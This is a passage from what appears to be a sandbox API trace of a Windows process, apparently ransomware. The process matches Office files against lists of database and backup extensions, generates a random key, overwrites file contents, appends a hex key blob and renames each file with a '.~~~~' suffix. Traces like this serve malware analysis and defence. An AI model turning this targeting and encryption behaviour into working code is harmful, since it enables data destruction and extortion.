	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dbf") returned 0x0
	[0138.162] lstrlenW (lpString=".SQL") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".SQL") returned 0x0
	[0138.162] lstrlenW (lpString=".pst") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".pst") returned 0x0
	[0138.162] lstrlenW (lpString=".dbv") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dbv") returned 0x0
	[0138.162] lstrlenW (lpString=".SDF") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".SDF") returned 0x0
	[0138.163] lstrlenW (lpString=".dtxs") returned 5
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dtxs") returned 0x0
	[0138.163] lstrlenW (lpString=".db3") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".db3") returned 0x0
	[0138.163] lstrlenW (lpString=".OST") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".OST") returned 0x0
	[0138.163] lstrlenW (lpString=".dbx") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dbx") returned 0x0
	[0138.163] lstrlenW (lpString=".DB3") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DB3") returned 0x0
	[0138.163] lstrlenW (lpString=".DAT") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DAT") returned 0x0
	[0138.163] lstrlenW (lpString=".VHDX") returned 5
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".VHDX") returned 0x0
	[0138.163] lstrlenW (lpString=".ndf") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".ndf") returned 0x0
	[0138.163] lstrlenW (lpString=".DB") returned 3
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DB") returned 0x0
	[0138.163] lstrlenW (lpString=".sql") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".sql") returned 0x0
	[0138.163] lstrlenW (lpString=".MYD") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".MYD") returned 0x0
	[0138.163] lstrlenW (lpString=".DBT") returned 4
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DBT") returned 0x0
	[0138.163] lstrlenW (lpString=".ACCDB") returned 6
	[0138.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.163] lstrlenW (lpString=".fdb") returned 4
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".fdb") returned 0x0
	[0138.164] lstrlenW (lpString=".bak") returned 4
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".bak") returned 0x0
	[0138.164] lstrlenW (lpString=".myd") returned 4
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".myd") returned 0x0
	[0138.164] lstrlenW (lpString=".DTXS") returned 5
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DTXS") returned 0x0
	[0138.164] lstrlenW (lpString=".ckp") returned 4
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".ckp") returned 0x0
	[0138.164] lstrlenW (lpString=".dbt") returned 4
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dbt") returned 0x0
	[0138.164] lstrlenW (lpString=".db") returned 3
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".db") returned 0x0
	[0138.164] lstrlenW (lpString=".TXT") returned 4
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".TXT") returned 0x0
	[0138.164] lstrlenW (lpString=".MDF") returned 4
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".MDF") returned 0x0
	[0138.164] lstrlenW (lpString=".bdb") returned 4
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".bdb") returned 0x0
	[0138.164] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.165] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.166] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.166] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.166] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25815603744) returned 1
	[0138.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbbcc52d0, dwHighDateTime=0x1d60e1e)) 
	[0138.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825a20
	[0138.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825a20 | out: hHeap=0x300000) returned 1
	[0138.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cee00
	[0138.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cee00 | out: hHeap=0x300000) returned 1
	[0138.167] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.167] GetLastError () returned 0x0
	[0138.167] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.167] GetLastError () returned 0x0
	[0138.174] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.175] WriteFile (in: hFile=0x108, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0138.175] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.175] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.176] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.176] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.176] CloseHandle (hObject=0x108) returned 1
	[0138.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cee00
	[0138.176] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css.~~~~")) returned 1
	[0138.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cee00 | out: hHeap=0x300000) returned 1
	[0138.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.179] GetLastError () returned 0x0
	[0138.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".scr") returned 0x0
	[0138.179] lstrlenW (lpString=".cmd") returned 4
	[0138.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".cmd") returned 0x0
	[0138.179] lstrlenW (lpString=".dll") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dll") returned 0x0
	[0138.180] lstrlenW (lpString=".bat") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".bat") returned 0x0
	[0138.180] lstrlenW (lpString=".cpl") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".cpl") returned 0x0
	[0138.180] lstrlenW (lpString=".sys") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".sys") returned 0x0
	[0138.180] lstrlenW (lpString=".msc") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".msc") returned 0x0
	[0138.180] lstrlenW (lpString=".com") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".com") returned 0x0
	[0138.180] lstrlenW (lpString=".lnk") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".lnk") returned 0x0
	[0138.180] lstrlenW (lpString=".msp") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".msp") returned 0x0
	[0138.180] lstrlenW (lpString=".pif") returned 4
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".pif") returned 0x0
	[0138.180] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.182] lstrlenW (lpString=".sqb") returned 4
	[0138.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".sqb") returned 0x0
	[0138.182] lstrlenW (lpString=".ost") returned 4
	[0138.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".ost") returned 0x0
	[0138.183] lstrlenW (lpString=".txt") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".txt") returned 0x0
	[0138.183] lstrlenW (lpString=".mdt") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".mdt") returned 0x0
	[0138.183] lstrlenW (lpString=".BDB") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".BDB") returned 0x0
	[0138.183] lstrlenW (lpString=".eql") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".eql") returned 0x0
	[0138.183] lstrlenW (lpString=".DBF") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DBF") returned 0x0
	[0138.183] lstrlenW (lpString=".EQL") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".EQL") returned 0x0
	[0138.183] lstrlenW (lpString=".FDB") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".FDB") returned 0x0
	[0138.183] lstrlenW (lpString=".EDB") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".EDB") returned 0x0
	[0138.183] lstrlenW (lpString=".DACPAC") returned 7
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.183] lstrlenW (lpString=".VHD") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".VHD") returned 0x0
	[0138.183] lstrlenW (lpString=".DBV") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DBV") returned 0x0
	[0138.183] lstrlenW (lpString=".dacpac") returned 7
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dacpac") returned 0x0
	[0138.183] lstrlenW (lpString=".sdf") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".sdf") returned 0x0
	[0138.183] lstrlenW (lpString=".accdb") returned 6
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".accdb") returned 0x0
	[0138.183] lstrlenW (lpString=".DBX") returned 4
	[0138.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DBX") returned 0x0
	[0138.184] lstrlenW (lpString=".MDT") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".MDT") returned 0x0
	[0138.184] lstrlenW (lpString=".SQB") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".SQB") returned 0x0
	[0138.184] lstrlenW (lpString=".vhd") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".vhd") returned 0x0
	[0138.184] lstrlenW (lpString=".bac") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".bac") returned 0x0
	[0138.184] lstrlenW (lpString=".mdf") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".mdf") returned 0x0
	[0138.184] lstrlenW (lpString=".BAK") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".BAK") returned 0x0
	[0138.184] lstrlenW (lpString=".BAC") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".BAC") returned 0x0
	[0138.184] lstrlenW (lpString=".dbs") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dbs") returned 0x0
	[0138.184] lstrlenW (lpString=".vhdx") returned 5
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".vhdx") returned 0x0
	[0138.184] lstrlenW (lpString=".NDF") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".NDF") returned 0x0
	[0138.184] lstrlenW (lpString=".dat") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dat") returned 0x0
	[0138.184] lstrlenW (lpString=".DBS") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DBS") returned 0x0
	[0138.184] lstrlenW (lpString=".CKP") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".CKP") returned 0x0
	[0138.184] lstrlenW (lpString=".edb") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".edb") returned 0x0
	[0138.184] lstrlenW (lpString=".PST") returned 4
	[0138.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".PST") returned 0x0
	[0138.184] lstrlenW (lpString=".dbf") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dbf") returned 0x0
	[0138.185] lstrlenW (lpString=".SQL") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".SQL") returned 0x0
	[0138.185] lstrlenW (lpString=".pst") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".pst") returned 0x0
	[0138.185] lstrlenW (lpString=".dbv") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dbv") returned 0x0
	[0138.185] lstrlenW (lpString=".SDF") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".SDF") returned 0x0
	[0138.185] lstrlenW (lpString=".dtxs") returned 5
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dtxs") returned 0x0
	[0138.185] lstrlenW (lpString=".db3") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".db3") returned 0x0
	[0138.185] lstrlenW (lpString=".OST") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".OST") returned 0x0
	[0138.185] lstrlenW (lpString=".dbx") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dbx") returned 0x0
	[0138.185] lstrlenW (lpString=".DB3") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DB3") returned 0x0
	[0138.185] lstrlenW (lpString=".DAT") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DAT") returned 0x0
	[0138.185] lstrlenW (lpString=".VHDX") returned 5
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".VHDX") returned 0x0
	[0138.185] lstrlenW (lpString=".ndf") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".ndf") returned 0x0
	[0138.185] lstrlenW (lpString=".DB") returned 3
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DB") returned 0x0
	[0138.185] lstrlenW (lpString=".sql") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".sql") returned 0x0
	[0138.185] lstrlenW (lpString=".MYD") returned 4
	[0138.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".MYD") returned 0x0
	[0138.186] lstrlenW (lpString=".DBT") returned 4
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DBT") returned 0x0
	[0138.186] lstrlenW (lpString=".ACCDB") returned 6
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.186] lstrlenW (lpString=".fdb") returned 4
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".fdb") returned 0x0
	[0138.186] lstrlenW (lpString=".bak") returned 4
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".bak") returned 0x0
	[0138.186] lstrlenW (lpString=".myd") returned 4
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".myd") returned 0x0
	[0138.186] lstrlenW (lpString=".DTXS") returned 5
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".DTXS") returned 0x0
	[0138.186] lstrlenW (lpString=".ckp") returned 4
